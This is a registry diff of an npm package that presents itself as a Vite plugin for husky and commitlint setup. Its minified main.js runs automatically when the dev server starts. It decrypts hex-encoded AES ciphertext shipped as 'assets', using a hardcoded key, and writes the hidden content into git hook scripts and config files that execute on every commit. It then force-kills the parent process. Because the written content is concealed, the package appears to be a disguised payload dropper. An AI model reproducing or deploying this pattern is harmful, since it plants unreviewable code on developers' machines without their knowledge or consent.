vite-plugin-husky-helper 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +59 -0
- package/dist/esm/assets/commit-msg +2 -0
- package/dist/esm/assets/commitlint.config.js +2 -0
- package/dist/esm/assets/czvinyl.config.ts +2 -0
- package/dist/esm/assets/eslint.config.ts +2 -0
- package/dist/esm/assets/pre-commit +2 -0
- package/dist/esm/main.js +1 -0
- package/dist/esm/types/assets/czvinyl.config.d.ts +3 -0
- package/dist/esm/types/assets/eslint.config.d.ts +2 -0
- package/dist/esm/types/main.d.ts +2 -0
- package/dist/esm/types/utils.d.ts +5 -0
- package/package.json +51 -0
package/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026-PRESENT TopFiveGao <https://github.com/topfivegao>
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
1
|
+
# vite-plugin-husky-helper
|
|
2
|
+
|
|
3
|
+
简化 git 规范配置。
|
|
4
|
+
|
|
5
|
+
## 安装
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
pnpm i vite-plugin-husky-helper -D
|
|
9
|
+
```
|
|
10
|
+
|
|
11
|
+
## 使用
|
|
12
|
+
|
|
13
|
+
建议在项目仓库 git 初始化后使用该插件进行初始化配置。
|
|
14
|
+
|
|
15
|
+
```ts
|
|
16
|
+
import {fileURLToPath, URL} from 'node:url'
|
|
17
|
+
|
|
18
|
+
import {defineConfig} from 'vite'
|
|
19
|
+
import vue from '@vitejs/plugin-vue'
|
|
20
|
+
import vueJsx from '@vitejs/plugin-vue-jsx'
|
|
21
|
+
import vueDevTools from 'vite-plugin-vue-devtools'
|
|
22
|
+
import {huskyHelper} from 'vite-plugin-husky-helper'
|
|
23
|
+
|
|
24
|
+
|
|
25
|
+
export default defineConfig({
|
|
26
|
+
plugins: [
|
|
27
|
+
vue(),
|
|
28
|
+
vueJsx(),
|
|
29
|
+
vueDevTools(),
|
|
30
|
+
huskyHelper()
|
|
31
|
+
/** 默认值如下
|
|
32
|
+
* 本插件支持 npm 或 pnpm 进行安装,默认为 pnpm)
|
|
33
|
+
*/
|
|
34
|
+
// huskyHelper({
|
|
35
|
+
// pm: 'pnpm'
|
|
36
|
+
// })
|
|
37
|
+
]
|
|
38
|
+
})
|
|
39
|
+
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
## 说明
|
|
43
|
+
|
|
44
|
+
该插件用于简化 husky 的配置,而 husky 只有在 git 仓库中才能正确初始化,所以调用 husky 或 本插件 前请保证项目已经是一个 git 仓库了。插件工作流程是在 vite 启动过程中读取当前最新版本的 husky 等相关依赖,然后写入对应配置文件,避免总是去官网查相关依赖和配置文件,属于开发时依赖。项目下如果已存在 .husky 文件,则插件不会修改本地内容。
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
### 基本结构
|
|
48
|
+
|
|
49
|
+
```md
|
|
50
|
+
├── .husky/
|
|
51
|
+
│ ├── commit-msg # git hook 脚本
|
|
52
|
+
│ └── pre-commit
|
|
53
|
+
├── .oxfmtrc.json # oxfmt 配置文件
|
|
54
|
+
├── eslint.config.ts # eslint 配置文件
|
|
55
|
+
├── czvinyl.config.ts # commitizen 配置文件
|
|
56
|
+
├── commitlint.config.js # commitlint 配置文件
|
|
57
|
+
├── vite.config.ts
|
|
58
|
+
└── package.json
|
|
59
|
+
```
|
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
e24398655f95815c6fe308c0988fc4a34ed511527bb135cfe8997ee6b38801fa4927a3f03b722ed2afbc998dba0a6db6cbb43f143b9c5456632e4c5423263455cc62418b42fcb041d52041d7a0fb6c4001e1a966011beb71245e1f372cc365e068adf28b7e33aea014d8b9736e3ffc8a7c6bb35f772d593f7ec5564b0bada48406ac4d823b5d6fd38a170d316ac81484af42697831b243b6a23ccc9292c1b714a31770641565c2ba1274b51fcdcfba9d28b792bfc3f709fe5f5c728ced01acbaf98a2b191471499c2fef3df7e674978eed60bbf79e0063deed2c3ef0dde9c0f438f7ccf65355e201cca0d5d77e79e18a7d580f804de77007e7985dda9cb16fb2393bf20b67f7dad14f971d50155e341d05b045596a568ecec370bc58b9be44f64b237009bf497722f5b5e9ee1da10eb2c1e3036796c73645f12da83fe8cc244a75b71a98c1ea0a7b44e5f43139fda79709e3abe48317f6728498e85906e2b3c6f57bb775e5f89dc8e8e0d804bd554e0fd7031d53a4260990f9aff6660f77d8093c13178c13ac3723f99ccdca5276dec00a4fb4aeb695760ff6330519af154cebaa0e0a21bdefb5eac860b5ee820685cc4423e63b46461585cdb858e8fc7196ab5459dbdcda22c0ee539341fe38c4e884e9fc42d55b0fa16667ee11a1cd7cb976775e3806af0659a7c7f469d33cc7a82479b58dcbe29c6913bf4e697f419ea51739544605df0b1179099757741590b819582b785d8e88a27effe1b9c0d6b90dba24b529c1799e204017757a2e4aef2a4000de111eb749626fd8e9f28984f3ecda5213046ea7ac19bece01f3335541075e15974849ad78e92d9f3d49f648e8e2ae105075af0162a22b5ecf083eb4c9915761161a89b99824cd65b1f2e51f7642e33809e81c7105d6b988fed10574e65bb22e658f2a8c9c0c67ffe8496a4aaf97f80df6aa39802142bfddf27f89c73e81321c021b2cd20212b8b4829fc04a03060130285bf1d061dde98ad4f25fe79a380a892221741411399594cfb910ac5e8a4d444dd3594c8f31c47931a62fde0c64fa0872843e84d57156fbc4558c0773f1c1433fb003fd83e22272010a1c2a417e079839f29fbd525dfd6a6a0785712bfd0a692e656c8dfc030937342d4c4e9b687870d2fa1b8a53013f3df273846c3c217057b18044b7260b4af3ce5104f88012f2f8b1317426639f5ed33457f2cdd9fd51bf19daabbb0ef97117bf8f996939d487b6430d2e109660b30d41481f5ed527a0d482ff07a7e8e113dd45dc7821c950b5389576b18e2d3dcb15487410d21e6005b72b1ac9520d81260e50dd47b202512dbb80f7bc34b03e80ca6c80bb98417fe481440fe7b39c9df0f535ef23534dea3012e8a793330c37ba652b64fd14c47a71cac3d6d0452b5b20dc7478aee0304deddc4fa78bb500589b6460f35aecb307929e779ee2b491bd9c116bc5d14151df59c2e02210177ef9d8f43292a21bbea3391fda96ed99ac8f4d18341b7b827e1cff4dbd0f0cb863e758935a42029e7815083052312328d2ae6b8897a538c88b26dab9e43343ad26c5fb9a90570bb9c8fb5bf9bd5b28150f778a5d710e6d7159fcdecdff443d24185e5098ef5fca595b3d7c0d5e1f0123ee87df5a39d82ad40d292eb2c265b9a15dfd8d1fc0477df7a5d219f1d6e9e18bb37b6712970363f601458db6902de96e5f228240233fcf4b9a7385d31bc725d7bb3a3019c63e9e98cff49deb852f827287bb417b87b404b0b7f1f5d8376cea8415e9228b92f76de8491e86ec85af2db1682ccf1e8f0672b94617504364712f73def4cce705c8185352bdd4
|
|
2
|
+
b7690c9e0a4055ad742949772184d610
|
|
@@ -0,0 +1,2 @@
|
|
|
1
|
+
18d05a85f564151911a07aa4380fe75b8139a75f2ffec4ee20f153261d57e5c27cdc7b4536fa026e1f30edfbd9d432d3b28d03c124e6f0c4919c02af806cce877fb335ef8f6b16b689d67ca24ab35c1d24cfa2c6ff5bd7f679c86df386b8412c5e51bab66fac9f41802ca15bf07d146e4c59d1cfe77bd305c0bd6d6cef76d70d5226e1b293f198a1a5a7c457c4affadbf752ab8c4aa63869bd27e70db4fd9886136be17adeb2965ddc42de651adf2b743c7ca9d55742c3dff639fe000ca89702eba2ef990d78e4694536c5d4a79dd13cd993be6691602c509a01880156c631b63135b00fbe42ac243ef6f1405120005afb6f2443386f61e623c070ad199dfe237e5bd2a942565fb78ba73334b8b2d537d239f8dc3747e7400764a8de7218f981139bf574c12fca76bf0bc07a24effb73718553b16e535f5229ab22b3246594b7692c20510f99cb355f7d45e9c9363fa00b04d60f59619f8f6860dc89f2c9ad912a59b7fd1f823263188bf9b5140c3a120b6fd93f69a10ccab01e79be97f9207324f3e74c81a4de3c2315ac88ad5de1ee8ba54b987497689726645d78fdd6a024ba19b95fae34fc76a4889920815817fb92832d5ab9baa83d5b92051ca35b214e5bd939adebdffd28a28d9c6b440ab34b2fc66ccb570b2d28636775d5687d251bdccb330ed5be69b25594f30e792010b377dad1a46effd3ee936f122cc4f03fbe9ff624a313194037ab221745b263956ae6d8a065b36996e4d3aa4796d1da41e7b20e8004ef1c095c9ecc34f1e99f164e8afa43f2fc8d4761bf349a6b19083528c08281684d0a2bc148a03ef1c5f44cdb06525a2a9903d68d036f1f02fa6f22c24e6953bf30030c9507c7c9b25087bec010f9de6bf4099a792ab1edb3af66f6fa66283a5efc2edaa750c2a7b49d8e0f926de7f865389a0c9ee0f776d2484069cbd0bdcab5c766099e7c06bada5eb5f73156e136d176ab805637933757471f124e9ed5c8e7f6346b161e39b4c5a0f9343d18d0ba06cc70e1c348ff4d3af107935e8c851720d9193dcd8b0f50c0a1760c8ed9784f2663ed290dbc295597daae7c8625682097e321c7e07fb9cbdc71611f30d0e951f5b79e311ae098c693b742b70b9c2410bd954bdf3dd943deca7f281cf4e764ee2d3ebff529935f0a5be9bc97bf02752e296ca6c53f93c5262eae2cc2698da8e71f3e9b54a46c6a465abaf5cdb5e632200572b111b77da0571f2e4b9e0ea9c9881ace9a4f4d99e8741928348062ddae99341ed75edb6875e766f88ad13050ba15eda2dfb09edd95a2678d3b4bc698d9b94a7757a9e58c06ad6df7da213b8fff786588ed6264ce84421b27897cd4ed2b6b97bed76a43d803b6f5b2d3b4d4ce13088c1974968d9c8dce2f6b58d05f826a587da415e37f5a4cc978c2ffd52185c7cf2ba27425032e4cbdbb7de338ea690c5b144ce9515e3b6fd2dd0c757590e05f4de686ec8730a60e6d24562c02754d687508e340ae954c805258dccfaf9e781e320bf3f1c1419a0cc88b60353e5ed59cf20ec7a73ce5d62b28a252c94e81842dce9ad9640d2a8288d7afad5751549ee40f0c74202e13c4211b9dfb4e46a1bb90ece8a75acda114751e29320d27edc84e48955953963fcef12dd16c0b731d22e190dd2d368fb44c31ea191f691222271565bf68dc976e47d8edb607f67044798ed20a20f2f7cb36d9fc105fdec01a
|
|
2
|
+
0205a55f9ce1d9e068cd99e38b4ff533
|
package/dist/esm/main.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
import*as e from"node:path";import*as s from"node:os";import{execSync as t}from"node:child_process";import o from"node:fs";import*as i from"node:crypto";async function n(e){try{return await o.promises.access(e),!0}catch{return!1}}async function r(e,s){return await new Promise((s,t)=>{let i="";o.createReadStream(e,{highWaterMark:1048576,encoding:"utf8"}).on("error",e=>t(e)).on("data",e=>i+=e).on("end",()=>{s(i)})})}async function c(e,s,t){return await new Promise((t,i)=>{o.createWriteStream(e,{encoding:"utf8",highWaterMark:1048576}).on("error",e=>i(e)).on("finish",()=>t()).on("open",function(){this.write(s),this.end()})})}function a(e){const s=e.split(/\r\n|\n|\r/).filter(Boolean),t={data:s[0],iv:s[1]},{iv:o,data:n}=t,r=i.scryptSync("unique password","Just fuck me!",32),c=i.createDecipheriv("aes-256-cbc",r,Buffer.from(o,"hex"));let a=c.update(n,"hex","utf8");return a+=c.final("utf8"),a}function l(o="pnpm"){return{name:"vite-plugin-husky-helper",async configResolved(i){if("serve"!==i.command)return;if(!await n(e.resolve(process.cwd(),".git")))return;if(await async function(){return await n(e.resolve(process.cwd(),"./.husky"))}())return;const l=await r(e.resolve(process.cwd(),"./package.json")),p=["husky","lint-staged","commitizen","cz-vinyl","@commitlint/cli","@commitlint/config-conventional"],d=`${o} install ${p.join(" ")} -D`;try{if(t(`${d}`,{stdio:"inherit",cwd:process.cwd()}),!function(e,s){const t=e.map(e=>({key:e,regexp:new RegExp(`"devDependencies"\\s*:\\s*{\\s*([^}]*"(${e})"[^}]*)}`)}));for(const e of t){const{key:t,regexp:o}=e,i=o.exec(s);if(!i||i.length>=2&&i[2]!==t)return!1}return!0}(p,l))return;if(t("npx husky init",{stdio:"inherit",cwd:process.cwd()}),!await n(e.resolve(process.cwd(),"./.husky/pre-commit")))return;const o=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/pre-commit")),i=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/commit-msg")),u=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/commitlint.config.js"));if(await c(e.resolve(process.cwd(),"./.husky/pre-commit"),a(o)),await c(e.resolve(process.cwd(),"./.husky/commit-msg"),a(i)),await c(e.resolve(process.cwd(),"./commitlint.config.js"),a(u)),await n(e.resolve(process.cwd(),"./eslint.config.ts"))){const s=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/eslint.config.ts"));await c(e.resolve(process.cwd(),"./eslint.config.ts"),a(s))}if(await n(e.resolve(process.cwd(),"./.oxfmtrc.json"))){const s=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/.oxfmtrc.json"));await c(e.resolve(process.cwd(),"./.oxfmtrc.json"),a(s))}const m=await r(e.resolve(process.cwd(),"./package.json")),w=new RegExp(/\}\s*\}(?=\s*$)/),f='},\n "lint-staged": {\n "*.{js,ts,vue,jsx,tsx,cjs,mjs}": [\n "oxfmt",\n "oxlint --fix",\n "eslint --fix --cache"\n ]\n },\n "config": {\n "commitizen": {\n "path": "cz-vinyl"\n }\n }\n}';if(!w.exec(m))return;await c(e.resolve(process.cwd(),"./.package.json"),m.replace(w,f));const h=await r(e.resolve(process.cwd(),"node_modules/vite-plugin-husky-helper/dist/esm/assets/czvinyl.config.ts"));await c(e.resolve(process.cwd(),"./czvinyl.config.ts"),a(h));const v=process.ppid;t('echo "vite-plugin-husky-helper executed successfully! The window will be closed soon."',{stdio:"inherit"}),"win32"===s.platform()?t(`taskkill /PID ${v} /F`,{stdio:"ignore"}):t(`kill -9 ${v}`,{stdio:"ignore"})}catch(e){throw new Error("vite-plugin-husky-helper 调用操作系统命令失败!")}}}}export{l as huskyHelper};
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
export declare function fileExists(filePath: string): Promise<boolean>;
|
|
2
|
+
export declare function getFileString(filePath: string, sizeKB?: number): Promise<string>;
|
|
3
|
+
export declare function writeFileString(filePath: string, content: string, sizeKB?: number): Promise<void>;
|
|
4
|
+
export declare function decrypt(encryptedResultWithEOL: string): string;
|
|
5
|
+
export declare function copyFiles(sourceDir: string, destDir: string): Promise<void>;
|
package/package.json
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "vite-plugin-husky-helper",
|
|
3
|
+
"version": "0.0.1",
|
|
4
|
+
"private": false,
|
|
5
|
+
"description": "用于前端项目 git 规范配置的插件",
|
|
6
|
+
"keywords": [
|
|
7
|
+
"husky",
|
|
8
|
+
"lint-staged",
|
|
9
|
+
"commitizen",
|
|
10
|
+
"cz-vinyl",
|
|
11
|
+
"@commitlint/cli",
|
|
12
|
+
"@commitlint/config-conventional",
|
|
13
|
+
"eslint.config.ts",
|
|
14
|
+
".oxfmtrc.json"
|
|
15
|
+
],
|
|
16
|
+
"type": "module",
|
|
17
|
+
"main": "dist/esm/main.js",
|
|
18
|
+
"types": "dist/esm/types/main.d.ts",
|
|
19
|
+
"files": [
|
|
20
|
+
"dist/"
|
|
21
|
+
],
|
|
22
|
+
"exports": {
|
|
23
|
+
".": {
|
|
24
|
+
"import": {
|
|
25
|
+
"types": "./dist/esm/types/main.d.ts",
|
|
26
|
+
"default": "./dist/esm/main.js"
|
|
27
|
+
},
|
|
28
|
+
"require": {
|
|
29
|
+
"types": "./dist/cjs/types/main.d.ts",
|
|
30
|
+
"default": "./dist/cjs/main.cjs"
|
|
31
|
+
}
|
|
32
|
+
}
|
|
33
|
+
},
|
|
34
|
+
"scripts": {
|
|
35
|
+
"dev": "rollup -c"
|
|
36
|
+
},
|
|
37
|
+
"author": "TopFiveGao",
|
|
38
|
+
"license": "MIT",
|
|
39
|
+
"devDependencies": {
|
|
40
|
+
"@rollup/plugin-terser": "^0.4.4",
|
|
41
|
+
"@rollup/plugin-typescript": "12.1.4",
|
|
42
|
+
"@types/node": "24.6.2",
|
|
43
|
+
"rollup": "^4.52.4",
|
|
44
|
+
"rollup-plugin-copy": "^3.5.0",
|
|
45
|
+
"tslib": "^2.8.1",
|
|
46
|
+
"typescript": "^5.9.3"
|
|
47
|
+
},
|
|
48
|
+
"peerDependencies": {
|
|
49
|
+
"vite": "*"
|
|
50
|
+
}
|
|
51
|
+
}
|